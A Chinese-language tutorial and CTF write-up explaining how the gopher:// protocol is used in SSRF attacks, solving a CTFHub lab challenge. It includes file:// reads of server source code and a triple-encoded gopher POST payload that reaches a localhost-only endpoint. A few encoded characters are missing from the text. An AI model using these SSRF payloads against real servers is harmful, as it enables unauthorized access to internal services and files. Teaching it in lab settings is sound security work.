什么是gopher协议
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议。
各语言gopher的使用版本限制:
gopher协议的使用格式(注意 _ 必须):
代码语言:javascript复制URL:gopher://<host>:<port>/<gopher-path>_TCP数据流
注意
- gopher的默认端口是70。
- 如果发起post请求,回车换行需要使用 ,如果多个参数,参数之间的&也需要进行URL编码。
使用gopher协议发送HTTP请求
前置知识
在ubuntu使用Gopher协议发送一个请求。
首先nc启动一个监听端口6666。
代码语言:javascript复制nc -lp 6666
再打开一个终端,curl发送请求,此时n监听端口收到数据。
代码语言:javascript复制curl gopher://127.0.0.1:6666/_hello
所以利用gopher发送http请求就是直接构造一个原始的http请求包作为参数传入。
第一步,构造http请求包
第二步,进行url编码,将回车换行编码为
第三部,发送gopher协议
例如get型的http请求。
代码语言:javascript复制GET /get.php?a=hello HTTP/1.1
Host: 127.0.0.1
需要注意的是,pos请求t有4个参数为必要参数。
代码语言:javascript复制POST /post.php HTTP/1.1
host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
a=hello
巩固一下,做道题吧。
例题-SSRF之POST请求
题目来源CTFHub。SSRF系列-POST请求。
dirsearch扫描
先用dirsearch扫一下,发现了flag.php。
代码语言:javascript复制python dirsearch.py -u http://challenge-e55f91e6a8770fd2.sandbox.ctfhub.com:10800/?url=127.0.0.1
看一下flag.php,给了我们一个key。
代码语言:javascript复制<!-- Debug: key=5b69b89c146e1ed3b90708ffa267f06a -->
读取flag和index源码
用file协议读取index.php
代码语言:javascript复制http://challenge-e55f91e6a8770fd2.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php
index.php如下
代码语言:javascript复制<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>
在index.php中可以利用curl传url。
读取flag.php
代码语言:javascript复制http://challenge-e55f91e6a8770fd2.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
flag.php如下
代码语言:javascript复制<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
分析代码,只需要往flag.php里面传我们前面得到的key即可拿下flag。
构造payload
构造POST请求包。POST包必须包含的四个参数。
gopher默认发送到70端口,我们一般发送到80端口。
代码语言:javascript复制POST /flag.php HTTP/1.1
host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=5b69b89c146e1ed3b90708ffa267f06a
进行三次url编码,第一次编码后 需全部替换成 。
三次编码的原因
传参经过多少次跳转就需要经过多少次url编码。 直接curl后接gopher://就编码一次。 利用?url=gopher://就编码两次。 还经过302跳转,就编码三次。
代码语言:javascript复制POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250Ahost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D5b69b89c146e1ed3b90708ffa267f06a